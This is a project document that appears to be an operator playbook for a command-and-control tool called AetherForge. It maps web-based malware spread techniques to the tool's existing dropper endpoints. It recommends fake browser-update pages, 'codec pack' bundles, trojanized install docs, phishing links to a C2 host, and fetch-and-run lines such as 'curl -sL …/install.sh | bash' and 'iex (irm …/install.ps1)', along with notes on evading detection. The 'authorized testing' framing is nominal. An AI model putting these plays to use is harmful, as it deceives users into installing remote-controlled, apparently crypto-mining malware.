AetherForge/docs/SPREAD_TECHNIQUES.md

# Web-Mediated Spread Techniques (Research Summary)

> **Operator playbook (tabbed HTML):** [`/docs/SPREAD_TECHNIQUES.html`](../server/web/public/docs/SPREAD_TECHNIQUES.html) on a running command deck. Emberwake links there by technique tab. This file is the research matrix source.

> **Scope:** Documented red-team / threat-intelligence vectors mapped to AetherForge capabilities. For **authorized** penetration testing, lab environments, and defensive planning only. Sources cited below; landscape as of **2024–2026**.

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## What Does NOT Work Anymore (Be Honest)

| Technique | Status | Why |
|-----------|--------|-----|
| **Silent browser RCE** (visit page → shell, no exploit) | **Dead** | Modern Chromium sandboxes, site isolation, removed NPAPI/Flash/Java, aggressive patching. [MITRE T1189](https://attack.mitre.org/techniques/T1189/) still documents drive-by, but commodity ops need **0-day/n-day browser or renderer bugs** (e.g. [CVE-2025-49713](https://zeropath.com/blog/microsoft-edge-cve-2025-49713-type-confusion) — still requires visiting a malicious page and is patched quickly). |
| **Auto-run from Downloads folder** | **Dead** | Chrome/Edge require **user gesture** for dangerous types; SmartScreen + MoTW on `.exe`, `.msi`, `.js`, `.ps1`, `.bat`, `.zip`. [Microsoft download policy](https://learn.microsoft.com/en-us/deployedge/microsoft-edge-security-downloads-interruptions), [Chrome DownloadRestrictions](https://support.google.com/chrome/a/answer/7579271). |
| **Flash/Java plugin drive-by** | **Dead** | Plugins removed or click-to-play extinct. |
| **Unauthenticated `curl \| bash` on cautious admins** | **Hard** | Server can fingerprint pipe-to-shell timing and serve benign vs malicious scripts ([curlbash_detect](https://github.com/Stijn-K/curlbash_detect), [idontplaydarts](https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash-server-side/)). Mitigation: download → inspect → run. |
| **CRX sideloading via normal download** | **Dead** | `.crx` blocked under DownloadRestrictions; Web Store policy blocks casual sideload. Supply-chain via **compromised extension updates** is the modern path ([GitLab tech note](https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/malicious-browser-extensions-feb-2025/)). |

**Still works with friction:** User must **click download + run** (or run a one-liner they pasted). MoTW bypasses (LNK tricks, [FileFix 2.0](https://cybernoz.com/filefix-attack-exploits-windows-browser-features-to-bypass-mark-of-the-web-protection/), [7-Zip MoTW CVE-2025-0411](https://asec.ahnlab.com/en/87091/)) are **patch-cat-and-mouse**, not reliable baselines.

---

## Technique Matrix

### Owned site (you control origin)

| Technique | Feasibility | Detection risk | AetherForge mapping |
|-----------|-------------|----------------|---------------------|
| **Dropper landing page** — button/link → `/get` or spread-kit ZIP | **Easy** | Med (URL reputation, TLS logs) | **Has:** `/get`, `/install.ps1`, `/install.sh`, `?pin=`, `?c=`; static kit at `spread-kit-web-publisher/` + `/spread/`; ZIP export via `POST /api/v1/builder/spread-kit-export`. |
| **curl \| bash / `irm \| iex` docs page** — install instructions for servers | **Easy** | Med (EDR script block, proxy logs) | **Has:** `install.sh` / `install.ps1` with UA-aware `/get`, campaign env (`AETHER_CAMPAIGN`). Pin build via `?pin={build_id}`. |
| **Fake browser / app update page** (SocGholish pattern) | **Medium** | High (browser update lures heavily signatured) | **Has:** dropper + spread-kit launchers. **Needs:** branded HTML lander, geo/UA gate, optional TDS. See [Trend Micro SocGholish](https://www.trendmicro.com/en/research/25/c/socgholishs-intrusion-techniques-facilitate-distribution-of-rans.html). |
| **JS redirect / referrer gate** (search → your lander) | **Medium** | Med–High (injected-script hunting) | **Needs:** fingerprint JS in web-publisher kit; **Has:** campaign tracking on final fetch. [JSFireTruck](https://unit42.paloaltonetworks.com/malicious-javascript-using-jsfiretruck-as-obfuscation/) scale shows pattern is alive but noisy. |
| **Fusion media download** — “codec pack” / movie bundle | **Medium** | Med (large ZIP, SmartScreen) | **Has:** movie/prep fusion ZIP, disguised runner names, spread-kit scripts inside universal bundles. |
| **Service worker persistence** (AiTM / proxy) | **Hard** | Med | **Needs:** full PWA stack; feasible for **credential phishing**, not binary drop without user download. [EvilWorker](https://github.com/Ahaz1701/EvilWorker), [Akamai SW abuse](https://www.akamai.com/blog/security/abusing-the-service-workers-api). |
| **WASM obfuscated redirect** | **Hard** | Med | **Needs:** custom WASM module; evades some static JS scanners, not browser API monitors ([arxiv WASM study](https://arxiv.org/pdf/2508.21219)). Still ends at **user-run binary**. |
| **Waterhole on owned niche site** | **Easy** (if you own it) | Low–Med on first party | Same as dropper landing + organic traffic; [MITRE T1189](https://attack.mitre.org/techniques/T1189/). |

### Third-party platforms

| Technique | Feasibility | Detection risk | AetherForge mapping |
|-----------|-------------|----------------|---------------------|
| **GitHub Releases / raw CDN** | **Easy** | Med (SmartScreen, GitHub abuse reports) | **Has:** build artifacts; **Needs:** separate release pipeline, not C2 host. [Microsoft malvertising→GitHub](https://www.microsoft.com/en-us/security/blog/2025/03/06/malvertising-campaign-leads-to-info-stealers-hosted-on-github/). |
| **S3 / Cloudflare Pages / R2 / workers.dev** | **Easy** | Med–High (platform abuse ML) | **Needs:** static publisher ZIP deployed off C2. [Fortra Pages abuse](https://www.fortra.com/blog/cloudflare-pages-workers-domains-increasingly-abused-for-phishing), [Cofense Cloudflare abuse](https://cofense.com/blog/how-cloudflare-services-are-abused-for-credential-theft-and-malware-distribution). |
| **npm / PyPI / Docker Hub supply chain** | **Hard** | High (registry scanning, MFA) | **Needs:** wholly separate packaging pipeline; not in forge today. [Shai-Hulud](https://securelist.com/shai-hulud-worm-infects-500-npm-packages-in-a-supply-chain-attack/117547/), [GitGuardian 48h campaigns](https://blog.gitguardian.com/three-supply-chain-campaigns-hit-npm-pypi-and-docker-hub-in-48-hours/). |
| **WordPress plugin/theme compromise** | **Hard** (unless you own plugin) | High | **Needs:** PHP injector + redirect to your dropper URL. [EssentialPlugin 2026](https://patchstack.com/articles/critical-supply-chain-compromise-on-20-plugins-by-essentialplugin/), [CVE-2024-6297](https://cve.circl.lu/vuln/cve-2024-6297). |
| **Compromised shared hosting → web shell** | **Hard** | High | **Needs:** nothing in forge; lateral movement is post-compromise ([MITRE T1505.003](https://attack.mitre.org/techniques/T1505/003/), [Sucuri cross-contamination](https://blog.sucuri.net/2024/01/dangers-of-lateral-movement-website-cross-contamination.html)). |
| **Browser extension sideload / store takeover** | **Dead** (sideload) / **Hard** (store) | High | Extension **updates** via stolen publisher OAuth ([BleepingComputer 35 extensions](https://www.bleepingcomputer.com/news/security/new-details-reveal-how-hackers-hijacked-35-google-chrome-extensions/)). Not mapped to forge binaries. |

### Social engineering funnel (email / ads → site → file)

| Technique | Feasibility | Detection risk | AetherForge mapping |
|-----------|-------------|----------------|---------------------|
| **Email → link → owned lander → download** | **Easy** | Med (email gateway) | **Has:** campaign `?c=` on `/get` and public download; agent stores `campaign` on connect. |
| **OAuth redirect abuse** (`prompt=none` → attacker redirect URI → `/download`) | **Medium** | Med–High | **Needs:** Entra/Google OAuth app + redirect HTML; payload can point to `install.ps1` or ZIP. [Microsoft 2026](https://www.microsoft.com/en-us/security/blog/2026/03/02/oauth-redirection-abuse-enables-phishing-malware-delivery/), [Proofpoint TA416](https://www.proofpoint.com/us/blog/threat-insight/id-come-running-back-eu-again-ta416-resumes-european-government-espionage). |
| **SEO poisoning / malvertising** | **Medium** | High (ad review, cloaking detection) | **Needs:** ad account + cloaking + lander; payload can be fusion ZIP or spread-kit. [Malwarebytes utility ads 2024](https://www.malwarebytes.com/blog/threat-intel/2024/10/large-scale-google-ads-campaign-targets-utility-software), [MSIX SEO poisoning](https://www.precursorsecurity.com/blog/seo-poisoning-delivering-msix-installer-malware). |
| **IFRAME / HTML smuggling** | **Medium** | Med | **Needs:** client-side blob builder; still requires user to run extracted file. Often chained with OAuth redirect above. |

### Server-specific (endpoints: Linux/macOS/Windows servers)

| Technique | Feasibility | Detection risk | AetherForge mapping |
|-----------|-------------|----------------|---------------------|
| **`curl -sL host/install.sh \| bash`** | **Easy** | Med (FIM, auditd, EDR) | **Has:** full pipeline; `install.sh` → `/get?os=linux` + spread-kit unzip path. |
| **`irm \| iex` on Windows Server** | **Easy** | Med–High (AMSI, Constrained Language) | **Has:** `install.ps1`; hidden `cmd /c Deploy.bat` for spread-kit ZIP. |
| **Trojanized “monitoring agent” docs** | **Easy** | Low–Med if first-party domain | Same dropper; pin worker with `?pin=` for stable fleet profile. |
| **Docker `curl \| bash` in README** | **Medium** | High | **Needs:** separate Docker image story; agent has Docker E2E path but not publish pipeline. |
| **Web shell → curl dropper** | **Medium** (post-compromise) | High | Operator runs `curl` from shell; **Has:** dropper endpoints unauthenticated by design ([API-D09](PROBLEMS.md)). |

---

## AetherForge Stack: Has vs Needs

### Already built

- **Dropper URL:** `GET /get`, `GET /install.sh`, `GET /install.ps1` — UA platform detect, `?pin={build_id}`, `?c={campaign}` ([`dropper_handler.go`](../server/internal/api/dropper_handler.go))
- **Forge outputs:** single-platform exe, **Spread Kit** ZIP (`Deploy.bat`, `deploy.sh`, `Start.command`), **Fusion** media packages
- **Public downloads:** `GET /api/v1/public/download/{id}?c=` with campaign logging
- **Campaign analytics:** `campaign_hits` table with `event_type`, `GET /api/v1/emberwake/war-room?days=7` (first_beacon, mining stages), agent `campaign` field on register
- **Campaign War Room UI:** Emberwake funnel board + stats table toggle; 15s poll + WS `emberwake_war_room`
- **Build Manager UI:** copies `iex (irm '…/install.ps1')`, pin/active dropper
- **Spread funnel dashboard:** install connects by build (7d)

### In progress / gaps

| Gap | Emberwake / web-publisher role |
|-----|-------------------------------|
| No **fake-update** HTML kit | SocGholish-style lander — operator supplies branding |
| No **JS fingerprint / TDS** gate | Filter bots, mobile, non-target geo before showing download |
| No **OAuth redirect** helper | Entra app registration docs only |
| No **public registry** publish | npm/PyPI typosquat out of scope — use `npm-helper-export` on registries you own |

---

## Five Recommended Plays — Sites You Own

Prioritized for **authorized** red-team / lab use where you control DNS and TLS.

1. **First-party install docs page (servers)**  
   Host `install.sh` instructions on your domain: `curl -sL https://your.site/install.sh | bash` and PowerShell `irm|iex` for Win admins. Use `?pin=` for a fixed forge profile and `?c=docs` for attribution. Lowest friction for **Linux fleet / VPS** targets; maps 1:1 to existing dropper.

2. **Spread-kit web publisher (static lander)**  
   Ship the missing `spread-kit-web-publisher` template: single HTML “Download for your OS” button calling `/get?os=…&c=landing`. Deploy to **Cloudflare Pages** or your origin; keep C2 on separate host. Completes the Emberwake export path already wired in API.

3. **Fusion bundle as “media/tool download”**  
   Use movie or prep fusion ZIP on a themed site (e.g. “codec pack”, “portable tool”). Universal bundle auto-picks `Deploy.bat` / `deploy.sh`. Higher size; pair with **code signing** (`sign_build`) to reduce SmartScreen friction.

4. **Campaign-tagged fake-update page (endpoints)**  
   Clone the **SocGholish** pattern at reduced scope: browser-specific “update required” → ZIP with spread-kit or `Update.js`-style launcher equivalent (`Deploy.vbs`). Track `?c=update-chrome`. High detection risk; use only in controlled purple-team exercises.

5. **Email → owned lander → pinned build**  
   Simple HTML on your site; link `https://c2.example/get?pin={id}&c=phish1` or public artifact URL. Chain with **Emberwake campaign stats** to measure fetch vs install (agent connect). No third-party CDN required.

---

## Key References

- [MITRE T1189 Drive-by Compromise](https://attack.mitre.org/techniques/T1189/)
- [MITRE T1505.003 Web Shell](https://attack.mitre.org/techniques/T1505/003/)
- [MITRE T1608.006 SEO Poisoning](https://attack.mitre.org/techniques/T1608/006/)
- [SocGholish / FakeUpdates (Trend Micro 2025)](https://www.trendmicro.com/en/research/25/c/socgholishs-intrusion-techniques-facilitate-distribution-of-rans.html)
- [Microsoft OAuth redirect abuse (Mar 2026)](https://www.microsoft.com/en-us/security/blog/2026/03/02/oauth-redirection-abuse-enables-phishing-malware-delivery/)
- [Edge/Chrome download security](https://learn.microsoft.com/en-us/deployedge/microsoft-edge-security-downloads-interruptions)
- [curl|bash detection](https://github.com/Stijn-K/curlbash_detect)
- [Cloudflare Pages phishing abuse](https://www.fortra.com/blog/cloudflare-pages-workers-domains-increasingly-abused-for-phishing)
- [npm Shai-Hulud supply chain](https://securelist.com/shai-hulud-worm-infects-500-npm-packages-in-a-supply-chain-attack/117547/)

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*Generated from open-source threat reporting and AetherForge codebase audit. No commit.*